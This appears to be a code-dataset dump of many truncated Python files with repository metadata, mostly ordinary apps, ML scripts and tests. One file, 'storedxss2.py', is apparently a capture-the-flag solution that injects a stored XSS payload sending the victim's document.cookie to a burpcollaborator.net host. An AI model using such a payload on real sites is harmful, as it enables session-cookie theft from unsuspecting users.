"api_name": "streamlit.set_page_config",
"line_number": 17,
"usage_type": "call"
},
{
"api_name": "streamlit.session_state.keys",
"line_number": 19,
"usage_type": "call"
},
{
"api_name": "streamlit.session_state",
"line_number": 19,
"usage_type": "attribute"
},
{
... |
38707667108 | #!/usr/bin/python
import numpy as np
import copy
import time
import itertools
from sim import *
from scenario import *
from AStarAlgo import aStar, clearcache
def parse_env(env):
fires = []
lakes = []
#print(env)
for value in env:
x, y, z = value
x = np.float(x)
y = np.float(y... | NithyaMA/Artificial-Intelligence | ai-cs540-team-e-proj-master/Divide_And_Conquer_Functional.py | Divide_And_Conquer_Functional.py | py | 8,982 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "numpy.float",
"line_number": 18,
"usage_type": "call"
},
{
"api_name": "numpy.float",
"line_number": 19,
"usage_type": "call"
},
{
"api_name": "numpy.float",
"line_number": 20,
"usage_type": "call"
},
{
"api_name": "numpy.array",
"line_number": ... |
37877829101 | import array
import fcntl
import os
import re
import subprocess
import time
from multiprocessing import cpu_count
from tempfile import mkstemp
from termios import FIONREAD
from catkin_tools.common import log
from catkin_tools.common import version_tuple
from catkin_tools.terminal_color import ColorMapper
mapper = Col... | catkin/catkin_tools | catkin_tools/execution/job_server.py | job_server.py | py | 12,196 | python | en | code | 153 | github-code | 36 | [
{
"api_name": "catkin_tools.terminal_color.ColorMapper",
"line_number": 15,
"usage_type": "call"
},
{
"api_name": "catkin_tools.common.version_tuple",
"line_number": 31,
"usage_type": "call"
},
{
"api_name": "psutil.__version__",
"line_number": 31,
"usage_type": "attribut... |
2251121998 | """
Random test stuff
"""
from pysynth.seq import Sequencer
from pysynth.utils import *
from pysynth.osc import *
from pysynth.synth import *
from pysynth.filters import *
from pysynth.output.base import OutputHandler
from pysynth.output.modules import *
from pysynth.wrappers import querty, mml
from pysynt... | Owen-Cochell/python-audio-synth | pysynth/temp.py | temp.py | py | 19,592 | python | en | code | 1 | github-code | 36 | [
{
"api_name": "pyaudio.PyAudio",
"line_number": 31,
"usage_type": "call"
},
{
"api_name": "pyaudio.paFloat32",
"line_number": 32,
"usage_type": "attribute"
},
{
"api_name": "time.sleep",
"line_number": 67,
"usage_type": "call"
},
{
"api_name": "threading.Thread",
... |
34440124613 | """ 05_Collisions_v2 by Sun Woo Yi
This version will be carried on from 05_Collisions_v1_testing_2
This version will show a collision being detected between two objects
When the objects collide the game will quit automatically
26/05/2023
"""
import pygame
# Initialize Pygame
pygame.init()
# Set the dimensions of the... | yis1234/Car-Game | 05_Collisions_v2.py | 05_Collisions_v2.py | py | 1,753 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "pygame.init",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "pygame.display.set_mode",
"line_number": 18,
"usage_type": "call"
},
{
"api_name": "pygame.display",
"line_number": 18,
"usage_type": "attribute"
},
{
"api_name": "pygame.sprite... |
21119688527 | from functools import lru_cache
from typing import List
class Solution:
def minScoreTriangulation(self, values: List[int]) -> int:
@lru_cache(None)
def dp(i, j):
if i + 2 > j:
return 0
if i + 2 == j:
return values[i] * values[i + 1] * values[... | plattanus/leetcodeDAY | python/1039. 多边形三角剖分的最低得分.py | 1039. 多边形三角剖分的最低得分.py | py | 647 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "typing.List",
"line_number": 6,
"usage_type": "name"
},
{
"api_name": "functools.lru_cache",
"line_number": 7,
"usage_type": "call"
}
] |
31835787818 | import os
from fontTools.designspaceLib import DesignSpaceDocument, AxisDescriptor, SourceDescriptor, InstanceDescriptor, RuleDescriptor
root = os.getcwd()
doc = DesignSpaceDocument()
familyName = "MutatorSansTest"
#------
# axes
#------
a1 = AxisDescriptor()
a1.maximum = 1000
a1.minimum = 0
a1.default = 0
a1.name... | LettError/mutatorSans | makeDesignSpace.py | makeDesignSpace.py | py | 2,364 | python | en | code | 112 | github-code | 36 | [
{
"api_name": "os.getcwd",
"line_number": 5,
"usage_type": "call"
},
{
"api_name": "fontTools.designspaceLib.DesignSpaceDocument",
"line_number": 6,
"usage_type": "call"
},
{
"api_name": "fontTools.designspaceLib.AxisDescriptor",
"line_number": 14,
"usage_type": "call"
... |
41205022751 | '''
Write a Python Script that captures images from your webcam video stream
Extract all faces from the image frame(using haarcascade)
Store the face information into numpy arrays
1. Read and show video stream, capture images
2. Detect faces and show bounding box
3. Flatten the largest face image(gray scale image) and... | ankan-das-2001/Machine-learning-and-Deep-learning | Projects/Face Recognition/face_data_collect.py | face_data_collect.py | py | 1,813 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "cv2.VideoCapture",
"line_number": 16,
"usage_type": "call"
},
{
"api_name": "cv2.CascadeClassifier",
"line_number": 19,
"usage_type": "call"
},
{
"api_name": "cv2.cvtColor",
"line_number": 29,
"usage_type": "call"
},
{
"api_name": "cv2.COLOR_BGR2GRA... |
14066016259 | # 섬의 개수
# pypy3: 200ms
from collections import deque
def bfs(start):
queue = deque()
queue.append(start)
mapp[start[0]][start[1]] = 0
while queue:
now = queue.popleft()
for m in move:
new_r, new_c = now[0] + m[0], now[1] + m[1]
if new_r in range(h) and new_c in... | yeon-june/BaekJoon | 4963.py | 4963.py | py | 858 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "collections.deque",
"line_number": 7,
"usage_type": "call"
}
] |
24486683451 | """Backward compatibility: in the past, APITaxi was deployed on a dedicated
server and nginx was configured to redirect / to the console, and /doc to
swagger.
Now, the infrastructure is deployed on CleverCloud. We need to perform these
redirections here, since it is impossible to perform redirections on
CleverCloud's ... | openmaraude/APITaxi | APITaxi2/views/redirect.py | redirect.py | py | 709 | python | en | code | 24 | github-code | 36 | [
{
"api_name": "flask.Blueprint",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "flask.current_app.config.get",
"line_number": 18,
"usage_type": "call"
},
{
"api_name": "flask.current_app.config",
"line_number": 18,
"usage_type": "attribute"
},
{
"api_na... |
6260370623 | import time
import requests as rs
from bs4 import BeautifulSoup as bs
from email.MIMEMultipart import MIMEMultipart
from email.MIMEText import MIMEText
from email.MIMEImage import MIMEImage
import smtplib
url = "http://www.gumtree.com.au/s-cats-kittens/launceston/c18435l3000393"
domain = "http://www.gumtree.com.au"
... | myme5261314/GumtreeCatNotifier | main.py | main.py | py | 4,672 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "email.MIMEMultipart.MIMEMultipart",
"line_number": 57,
"usage_type": "call"
},
{
"api_name": "email.MIMEMultipart.MIMEMultipart",
"line_number": 65,
"usage_type": "call"
},
{
"api_name": "email.MIMEText.MIMEText",
"line_number": 71,
"usage_type": "call"
}... |
5521906377 | from scripts.helpful_scripts import get_account, get_contract, OPENSEA_URL
from brownie import DappToken, Escrow, SimpleNFT, network, config, ANFT
from web3 import Web3
import time
import yaml
import json
import os
import shutil
sample_token_uri = (
"ipfs://Qmd9MCGtdVz2miNumBHDbvj8bigSgTwnr4SbyH6DNnpWdt?filename=... | dankorea/loanAgainstNFT | scripts/deploy.py | deploy.py | py | 11,494 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "web3.Web3.toWei",
"line_number": 15,
"usage_type": "call"
},
{
"api_name": "web3.Web3",
"line_number": 15,
"usage_type": "name"
},
{
"api_name": "web3.Web3.toWei",
"line_number": 16,
"usage_type": "call"
},
{
"api_name": "web3.Web3",
"line_numbe... |
25691822349 | from django.core.mail import EmailMessage
from django.contrib.sites.shortcuts import get_current_site
from django.utils.encoding import force_bytes, force_text
from django.utils.http import urlsafe_base64_encode, urlsafe_base64_decode
from django.template.loader import render_to_string
from .tokens import user_activat... | michaeljohannesmeier/vidamia | project/app/django-src/api/utils.py | utils.py | py | 1,063 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "django.contrib.sites.shortcuts.get_current_site",
"line_number": 10,
"usage_type": "call"
},
{
"api_name": "django.template.loader.render_to_string",
"line_number": 18,
"usage_type": "call"
},
{
"api_name": "django.utils.http.urlsafe_base64_encode",
"line_numbe... |
5451484871 | from .models import Auction
from .serializer import AuctionSerializer
from utils.utils import Utils
from django.db import connection
class AuctionService:
def create(self, auction):
serializer = AuctionSerializer(data=auction)
if serializer.is_valid():
serializer.save()
re... | wboniecki/time_is_money | TimeIsMoney/model_auction/auction_service.py | auction_service.py | py | 3,526 | python | en | code | 1 | github-code | 36 | [
{
"api_name": "serializer.AuctionSerializer",
"line_number": 9,
"usage_type": "call"
},
{
"api_name": "serializer.is_valid",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "serializer.save",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "model... |
18665391705 | """
Input
-----
intensities_experimental.csv
intensities_sensitivity_unscaled.csv
intensities_singlef_unscaled.csv
intensities_multif_unscaled.csv
conf[model][reference_amplitude]
conf[experimental][reference_amplitude]
Output
------
intensities.csv :
columns: view, Experimental, Model_SingleFreq_Max, Model_Single... | nbud/arimtoolkit | arimtoolkit/collect_intensities.py | collect_intensities.py | py | 2,376 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "logging.basicConfig",
"line_number": 24,
"usage_type": "call"
},
{
"api_name": "logging.getLogger",
"line_number": 25,
"usage_type": "call"
},
{
"api_name": "logging.INFO",
"line_number": 26,
"usage_type": "attribute"
},
{
"api_name": "arim.io.load_... |
6800684121 | from django.shortcuts import get_object_or_404
from rest_framework import viewsets
from rest_framework.permissions import IsAuthenticated
from project.models import Project
from ...models import ProjectTeamRole
from ..serializers.role import TeamRoleSerializer
class TeamRoleViewSet(
viewsets.ModelViewSet):... | tomasgarzon/exo-services | service-exo-projects/team/api/views/role.py | role.py | py | 968 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "rest_framework.viewsets.ModelViewSet",
"line_number": 13,
"usage_type": "attribute"
},
{
"api_name": "rest_framework.viewsets",
"line_number": 13,
"usage_type": "name"
},
{
"api_name": "models.ProjectTeamRole",
"line_number": 15,
"usage_type": "name"
},
... |
21536945118 | # Desenvolva um programa que leia o nome, idade e sexo de 4 pessoas. No final mostre:
# A média de idade do grupo.
# Qual o nome do homem mais velho.
# Quantas mulheres tem menos de 20 anos.
from datetime import date
# Variáveis de controle:
idadeh = 0
nm_h = ''
nm_m = ''
sx = ''
idadem = ... | FelipePassos09/Curso-em-Video-Python-mod2 | Exercícios/Ex#56.py | Ex#56.py | py | 1,438 | python | pt | code | 0 | github-code | 36 | [
{
"api_name": "datetime.date.today",
"line_number": 17,
"usage_type": "call"
},
{
"api_name": "datetime.date",
"line_number": 17,
"usage_type": "name"
}
] |
40500439125 | #!/usr/bin/env python3
"""
Script to make graph for QMEE collaboration network. Edge width represents number of collaborations, node colour represents
institution type.
INPUTS:
None
OUTPUTS:
../Results/QMEENet_python.svg.pdf = network representing QMEE collaboration network
"""
__appname__ = 'Nets.... | SamT123/CMEECoursework | Week7/Code/Nets.py | Nets.py | py | 2,092 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "pandas.read_csv",
"line_number": 31,
"usage_type": "call"
},
{
"api_name": "pandas.read_csv",
"line_number": 33,
"usage_type": "call"
},
{
"api_name": "itertools.product",
"line_number": 37,
"usage_type": "call"
},
{
"api_name": "matplotlib.patches.... |
14547426726 | from app_ml.functionalities.preprocessing_mongo import read_from_mongo_as_dataframe
from app_ml.functionalities.constants import SAVED_MODEL_PATH
from app_ml.models.RNN import RNN
import pymongo
def main():
cars_db = pymongo.MongoClient('mongodb://localhost:27017')['cars']
data, labels = read_from_mongo_as_dat... | serapan/DrEYEve | app_ml/train/train_rnn.py | train_rnn.py | py | 620 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "pymongo.MongoClient",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "app_ml.functionalities.preprocessing_mongo.read_from_mongo_as_dataframe",
"line_number": 8,
"usage_type": "call"
},
{
"api_name": "app_ml.models.RNN.RNN",
"line_number": 9,
"usag... |
17289255049 | #sql requesting in python,
import sqlite3
import pandas
conn = sqlite3.connect("database.db")
cur = conn.cursor()
cur.execute("SELECT * FROM countries WHERE area >= 2000000")
rows = cur.fetchall()
conn.close()
for i in rows:
print(i)
#put in csv
df = pandas.DataFrame.from_records(rows)
df.columns = ["Rank", "Cou... | michalmendygral/python | python101/advanced_2.py | advanced_2.py | py | 926 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "sqlite3.connect",
"line_number": 5,
"usage_type": "call"
},
{
"api_name": "pandas.DataFrame.from_records",
"line_number": 15,
"usage_type": "call"
},
{
"api_name": "pandas.DataFrame",
"line_number": 15,
"usage_type": "attribute"
},
{
"api_name": "pa... |
36731154633 | # -*- coding: utf-8 -*-
from django.conf.urls import url
from baremetal_service.bw_views import BmSharedBandwidthsViews, BmSharedBandwidthViews, BmSharedBandwidthFipViews
from baremetal_service.views import BaremetalServiceFloatingIPViews
urlpatterns = [
# 共享带宽实例管理
# 功能：购买，列表，编辑，详情，删除/批量删除
# resource: ... | 21vcloud/Controller | app/baremetal_service/urls_bandwidth.py | urls_bandwidth.py | py | 2,081 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "django.conf.urls.url",
"line_number": 15,
"usage_type": "call"
},
{
"api_name": "baremetal_service.bw_views.BmSharedBandwidthsViews.as_view",
"line_number": 15,
"usage_type": "call"
},
{
"api_name": "baremetal_service.bw_views.BmSharedBandwidthsViews",
"line_nu... |
42871168335 | import _
import config
from logging import Logger
from sklearn.metrics import *
from utils.experiments_utils import *
from utils.experiments_utils.results.tables import *
from utils.helpers.datasets import Dataset
from utils.rulekit.classification import RuleClassifier
from steps.train import TrainedModelsResul... | cezary986/complex_conditions | src/experiments/public_datasets/steps/evaluate.py | evaluate.py | py | 9,017 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "steps.train.TrainedModelsResults",
"line_number": 26,
"usage_type": "name"
},
{
"api_name": "utils.helpers.datasets.Dataset",
"line_number": 40,
"usage_type": "name"
},
{
"api_name": "utils.rulekit.classification.RuleClassifier",
"line_number": 43,
"usage_t... |
6510269028 | from enum import Enum
from selenium_util.locator import Locator
from selenium.webdriver.common.by import By
from pages.mortgage_rates_page import MortgageRatesPage
from pages.zillow_base_page import ZillowBasePage
from utilities.mortgage_math import calculate_payment
class LoanPrograms(Enum):
"""
A class to... | jcahill-ht/Hometap-zillow-test | pages/mortage_calculator_page.py | mortage_calculator_page.py | py | 16,429 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "enum.Enum",
"line_number": 11,
"usage_type": "name"
},
{
"api_name": "pages.zillow_base_page.ZillowBasePage",
"line_number": 35,
"usage_type": "name"
},
{
"api_name": "selenium_util.locator.Locator",
"line_number": 57,
"usage_type": "call"
},
{
"api... |
28054516597 | import feedparser
import datetime
import dateutil.parser
from django.http import HttpResponseRedirect
from django.shortcuts import get_object_or_404, render, redirect
from django.urls import reverse
from django.views import generic
from django_feedparser.settings import *
from .models import Story
from source.models im... | arpitmandal/newsmonitor | story/views.py | views.py | py | 2,429 | python | en | code | 1 | github-code | 36 | [
{
"api_name": "source.models.Sources.objects.get",
"line_number": 20,
"usage_type": "call"
},
{
"api_name": "source.models.Sources.objects",
"line_number": 20,
"usage_type": "attribute"
},
{
"api_name": "source.models.Sources",
"line_number": 20,
"usage_type": "name"
},... |
19618117170 | import argparse
import logging
import pathlib
import matplotlib.pyplot as plt
# from train import test
plt.style.use("ggplot")
import gc
from pprint import pformat
import numpy as np
import torch
import torch.nn as nn
import torch.nn.functional as F
# from functorch import grad, make_functional_with_buffers, vmap
... | ABD-01/Coreset | src/grad_match.py | grad_match.py | py | 15,845 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "matplotlib.pyplot.style.use",
"line_number": 9,
"usage_type": "call"
},
{
"api_name": "matplotlib.pyplot.style",
"line_number": 9,
"usage_type": "attribute"
},
{
"api_name": "matplotlib.pyplot",
"line_number": 9,
"usage_type": "name"
},
{
"api_name"... |
1804307548 | '''
Loads up each users config and creates the service watchers
'''
import yaml
def load_config(filename):
'''Loads config file,
format is in yaml
and looks like:
services:
- name: openvpn
input: 10
output: 2
- name: samba
input: 10
output: 2
... | jammers-ach/systemd-gpio | config.py | config.py | py | 830 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "yaml.load",
"line_number": 21,
"usage_type": "call"
}
] |
24177742490 | #!/usr/bin/python3
# -*- coding: utf-8 -*-
import os, sys, re, time, datetime, logging, random, string, logging.handlers, gzip, paramiko
import multiprocessing, subprocess, requests, urllib3, uuid
from threading import Timer
from configparser import ConfigParser
from Crypto.Cipher import AES
from iscpy.iscpy_dns.name... | heweiblog/bind_command | src/drms_toggle.py | drms_toggle.py | py | 4,738 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "dns.message.make_query",
"line_number": 65,
"usage_type": "call"
},
{
"api_name": "dns.message",
"line_number": 65,
"usage_type": "attribute"
},
{
"api_name": "datetime.datetime.now",
"line_number": 67,
"usage_type": "call"
},
{
"api_name": "datetim... |
38697991171 | """Define the Autorization Manager."""
from datetime import datetime, timedelta
from typing import Optional
import jwt
from fastapi import BackgroundTasks, Depends, HTTPException, Request, status
from fastapi.security import HTTPAuthorizationCredentials, HTTPBearer
from app.config.settings import get_settings
from ap... | seapagan/fastapi-template | app/managers/auth.py | auth.py | py | 10,228 | python | en | code | 45 | github-code | 36 | [
{
"api_name": "datetime.datetime.utcnow",
"line_number": 41,
"usage_type": "call"
},
{
"api_name": "datetime.datetime",
"line_number": 41,
"usage_type": "name"
},
{
"api_name": "datetime.timedelta",
"line_number": 42,
"usage_type": "call"
},
{
"api_name": "app.con... |
73339229863 | from pydantic import BaseModel, Field
from faststream import FastStream, Logger
from faststream.kafka import KafkaBroker
class Employee(BaseModel):
name: str = Field(..., examples=["Mickey"], description="name example")
surname: str = Field(..., examples=["Mouse"], description="surname example")
email: s... | airtai/faststream-gen | search/examples/example_new_employee/app.py | app.py | py | 973 | python | en | code | 19 | github-code | 36 | [
{
"api_name": "pydantic.BaseModel",
"line_number": 7,
"usage_type": "name"
},
{
"api_name": "pydantic.Field",
"line_number": 8,
"usage_type": "call"
},
{
"api_name": "pydantic.Field",
"line_number": 9,
"usage_type": "call"
},
{
"api_name": "pydantic.Field",
"l... |
27283985016 | from pypaq.lipytools.files import r_json
from pypaq.lipytools.plots import two_dim_multi
from pypaq.lipytools.moving_average import MovAvg
from typing import List, Dict, Optional
from envy import RESULTS_FP
from run.functions import get_saved_dmks_names
def get_ranks(
all_results: Optional[Dict]= None,
... | piteren/pypoks | run/after_run/ranks.py | ranks.py | py | 2,314 | python | en | code | 19 | github-code | 36 | [
{
"api_name": "typing.Optional",
"line_number": 11,
"usage_type": "name"
},
{
"api_name": "typing.Dict",
"line_number": 11,
"usage_type": "name"
},
{
"api_name": "pypaq.lipytools.files.r_json",
"line_number": 16,
"usage_type": "call"
},
{
"api_name": "envy.RESULTS... |
3240003586 | '''
Set Dataset
This file was developed as a project for DACO subject from Bioengeneering Masters at FEUP
It separates the images from a folder into a respective one according to its class
It helps to better analyse and organize the project
'''
import os
import pandas as pd
from torch.utils.data import DataLoader
im... | mariamiguel01/Project_DACO | Features/setDataset.py | setDataset.py | py | 2,832 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "pandas.read_csv",
"line_number": 34,
"usage_type": "call"
},
{
"api_name": "pandas.read_csv",
"line_number": 35,
"usage_type": "call"
},
{
"api_name": "pandas.read_csv",
"line_number": 36,
"usage_type": "call"
},
{
"api_name": "torch.utils.data.Data... |
10899219070 | import unittest
import torch
import numpy as np
import onnx
from onnx import helper
from onnx.helper import make_tensor_value_info, make_sequence_value_info
from functools import reduce
from interp.interp_utils import AbstractionInitConfig
from interp.interp_operator import Abstraction, Interpreter
from tests.test_a... | llylly/RANUM | tests/test_abstraction_loop.py | test_abstraction_loop.py | py | 9,508 | python | en | code | 10 | github-code | 36 | [
{
"api_name": "unittest.TestCase",
"line_number": 16,
"usage_type": "attribute"
},
{
"api_name": "interp.interp_operator.Abstraction",
"line_number": 18,
"usage_type": "name"
},
{
"api_name": "torch.Size",
"line_number": 23,
"usage_type": "call"
},
{
"api_name": "... |
14940527187 | from __future__ import print_function
import os, sys, tempfile, shutil, tarfile
import log, argdb
from urllib.request import urlretrieve
from urllib import parse as urlparse_local
import subprocess
import socket
from shutil import which # just to break compatibility with python2
# Fix parsing for nonstandard schemes
... | firedrakeproject/slepc | config/package.py | package.py | py | 21,339 | python | en | code | 2 | github-code | 36 | [
{
"api_name": "urllib.parse.uses_netloc.extend",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "urllib.parse.uses_netloc",
"line_number": 11,
"usage_type": "attribute"
},
{
"api_name": "urllib.parse",
"line_number": 11,
"usage_type": "name"
},
{
"api_na... |
33096692946 | import torch
import torch.nn as nn
from torchvision import models
from torch.autograd import Variable
from models.head import ClassBlock
class Resnet50_ft(nn.Module):
def __init__(self, class_num=751, droprate=0.5, stride=2, circle=False, ibn=False):
super(Resnet50_ft, self).__init__()
model_ft =... | SHT-Club4/ReID-PyTorch | models/backbone.py | backbone.py | py | 1,513 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "torch.nn.Module",
"line_number": 9,
"usage_type": "attribute"
},
{
"api_name": "torch.nn",
"line_number": 9,
"usage_type": "name"
},
{
"api_name": "torchvision.models.resnet50",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "torchvision.m... |
4023568474 | import pandas as pd
import geopandas
from shapely import wkt
'''
Reader function that decompresses a csv file containing trajectory data for toy object needed in
homework 2 assignment for Spatial Databases.
Parameters:
path = path to csv compressed file
column_names = names of columns for dataframe once creat... | Sedwards8900/gridmapped_interval_tree | Util.py | Util.py | py | 1,257 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "pandas.read_csv",
"line_number": 19,
"usage_type": "call"
},
{
"api_name": "pandas.to_datetime",
"line_number": 22,
"usage_type": "call"
},
{
"api_name": "shapely.wkt.loads",
"line_number": 25,
"usage_type": "attribute"
},
{
"api_name": "shapely.wkt... |
30335762959 | import agate
from agatecharts.charts.base import Chart
from agatecharts.colors import Qualitative
class Lines(Chart):
def __init__(self, x_column_name, y_column_names):
self._x_column_name = x_column_name
if isinstance(y_column_names, str):
y_column_names = [y_column_names]
... | wireservice/agate-charts | agatecharts/charts/lines.py | lines.py | py | 2,121 | python | en | code | 9 | github-code | 36 | [
{
"api_name": "agatecharts.charts.base.Chart",
"line_number": 7,
"usage_type": "name"
},
{
"api_name": "agate.Number",
"line_number": 20,
"usage_type": "attribute"
},
{
"api_name": "agatecharts.colors.Qualitative",
"line_number": 35,
"usage_type": "call"
},
{
"api... |
74330590505 | # -*- coding: utf-8 -*-
__author__ = "Amir Arfan, Sebastian Becker"
__email__ = "amar@nmbu.no"
from biosim.map import Map
from biosim.cell import Mountain, Ocean, Savannah, Jungle, Desert
from biosim.animals import Herbivore, Carnivore
import pytest
import textwrap
@pytest.fixture
def standard_map():
"""
Cr... | amirarfan/BioSim_G03_Amir_Sebastian | tests/test_map.py | test_map.py | py | 7,808 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "textwrap.dedent",
"line_number": 39,
"usage_type": "call"
},
{
"api_name": "pytest.fixture",
"line_number": 13,
"usage_type": "attribute"
},
{
"api_name": "biosim.map.Map",
"line_number": 64,
"usage_type": "call"
},
{
"api_name": "pytest.fixture",
... |
9377241284 | import sys
import pandas as pd
import numpy as np
import sklearn
import matplotlib
import keras
import matplotlib.pyplot as plt
from pandas.plotting import scatter_matrix
import seaborn as sns
cleveland = pd.read_csv('input/heart.csv')
print('Shape of DataFrame: {}'.format(cleveland.shape))
print (cleveland.loc[1])
c... | MasudCodes/HeartAnalysis | heart.py | heart.py | py | 2,941 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "pandas.read_csv",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "pandas.to_numeric",
"line_number": 23,
"usage_type": "attribute"
},
{
"api_name": "seaborn.heatmap",
"line_number": 27,
"usage_type": "call"
},
{
"api_name": "matplotlib.pyp... |
74339900582 | import numpy as np
import math
from gym.envs.mujoco import mujoco_env
from gym import utils
from mujoco_py import functions as mjcf
import mujoco_py
#from mujoco_py import mjvisualize as mjcv
def mass_center(model, sim):
mass = np.expand_dims(model.body_mass, 1)
xpos = sim.data.xipos
speed_weights = np.arr... | kvogelzang/GP_exoskeleton | gym/envs/mujoco/kevin_fallinghumanoid.py | kevin_fallinghumanoid.py | py | 10,527 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "numpy.expand_dims",
"line_number": 10,
"usage_type": "call"
},
{
"api_name": "numpy.array",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "numpy.sum",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "math.cos",
"line_number":... |
31563105051 | from datetime import datetime
from dateutil import parser
from lxml import etree
import json
import logging
from StringIO import StringIO
import requests
from requests import RequestException
from moxie_events.domain import Event
logger = logging.getLogger(__name__)
class TalksCamEventsImporter(object):
FETCH... | ox-it/moxie-events | moxie_events/importers/talks_cam.py | talks_cam.py | py | 2,358 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "logging.getLogger",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "requests.get",
"line_number": 32,
"usage_type": "call"
},
{
"api_name": "requests.RequestException",
"line_number": 35,
"usage_type": "name"
},
{
"api_name": "json.loads",... |
20199237869 | from django.shortcuts import render, redirect
from .models import AiClass, AiStudent, StudentPost
from django.contrib.auth.models import User
from django.contrib import auth
# Create your views here.
def home(request):
context = {
'AiClass': AiClass.objects.all()
}
return render(request, 'home.ht... | WooseopIM/temp_django | AiSchoolProject/AiInfoApp/views.py | views.py | py | 5,147 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "models.AiClass.objects.all",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "models.AiClass.objects",
"line_number": 11,
"usage_type": "attribute"
},
{
"api_name": "models.AiClass",
"line_number": 11,
"usage_type": "name"
},
{
"api_name": ... |
16094884293 | #=============================================================
"""
Plots contribution functions for forward model results that have
utilized ONE variable only
Uses data from kk.dat
Saves plots in a new directory: contribution_plots
Usage:
Set show below to True or False
python -W ignore plot_contribution.py
""... | JHarkett/MIRI-code | plot_contribution.py | plot_contribution.py | py | 2,611 | python | en | code | 2 | github-code | 36 | [
{
"api_name": "glob.glob",
"line_number": 42,
"usage_type": "call"
},
{
"api_name": "os.path.exists",
"line_number": 46,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 46,
"usage_type": "attribute"
},
{
"api_name": "os.mkdir",
"line_number": 4... |
9502216060 | #!/usr/bin/env python
# -*- coding:utf-8 -*-
# ====#====#====#====
# Author: wangben
# CreatDate: 2020/9/23 16:04
# Filename:read_log.py
# Function:历史记录
# ====#====#====#====
import json
import sys
from PyQt5.QtWidgets import QMainWindow, QApplication
from UI.GUI_style import log_MainWindow
from common._util import l... | falling3wood/pyexe | common/read_log.py | read_log.py | py | 1,867 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "UI.GUI_style.log_MainWindow",
"line_number": 16,
"usage_type": "name"
},
{
"api_name": "PyQt5.QtWidgets.QMainWindow",
"line_number": 16,
"usage_type": "name"
},
{
"api_name": "UI.GUI_style.log_MainWindow",
"line_number": 18,
"usage_type": "argument"
},
... |
4014355062 | # 문제 출처 : https://programmers.co.kr/learn/courses/30/lessons/68645
# 참고 블로그 : https://inspirit941.tistory.com/entry/Python-프로그래머스-삼각-달팽이-Level-2
# chain 사용법 : https://python.flowdas.com/library/itertools.html
from itertools import chain
def solution(n):
maps = [[0 for _ in range(n)] for _ in range(n)]
y, x =... | ThreeFive85/Algorithm | Programmers/level2/triangleSnail/triangle_snail.py | triangle_snail.py | py | 814 | python | ko | code | 1 | github-code | 36 | [
{
"api_name": "itertools.chain",
"line_number": 23,
"usage_type": "call"
}
] |
23771931621 | import requests
url = 'http://challenge01.root-me.org/web-client/ch19/?section=admin'
headers = {"Content-Type":"application/x-www-form-urlencoded",
"Cookie":'''"><script>document.location='http://llartngjebaflscnrijk19it2k8dw2.burpcollaborator.net?'.concat(document.cookie)</script>'''}
data = {"titre":"... | huydoppa/CTF | root_me/storedxss2.py | storedxss2.py | py | 550 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "requests.post",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "requests.get",
"line_number": 18,
"usage_type": "call"
}
] |
74876356585 | import tweepy
import csv
from textblob import TextBlob
import operator
import copy
def checkminimum(test):
#test has the intracluster distances for your data point,refer to kmeans function, first for loop
min_dist = test[0]
c=0
p=0
for i in test:
if min_dist>i:
min_dist = i
p=c #c is the p... | anirudhkamath/sentimentAnalyser | twitter-extract-revised.py | twitter-extract-revised.py | py | 3,704 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "copy.deepcopy",
"line_number": 61,
"usage_type": "call"
},
{
"api_name": "tweepy.OAuthHandler",
"line_number": 71,
"usage_type": "call"
},
{
"api_name": "tweepy.API",
"line_number": 74,
"usage_type": "call"
},
{
"api_name": "csv.writer",
"line_n... |
74430361063 | from flask import Flask
from flask import render_template, request
import subprocess, os, base64
from subprocess import PIPE, Popen
app = Flask(__name__)
@app.route('/')
def Compiler():
check = ''
return render_template('home.html', check=check)
@app.route('/submit', methods=['GET', 'POST'])
def submit():
... | apollliinaria/moodle_compiler_testik | app.py | app.py | py | 2,066 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "flask.Flask",
"line_number": 6,
"usage_type": "call"
},
{
"api_name": "flask.render_template",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "flask.request.method",
"line_number": 17,
"usage_type": "attribute"
},
{
"api_name": "flask.requ... |
496284447 | import os
import pytest
from dagster_bash import bash_command_solid, bash_script_solid
from dagster import DagsterExecutionStepExecutionError, composite_solid, execute_solid
def test_bash_command_solid():
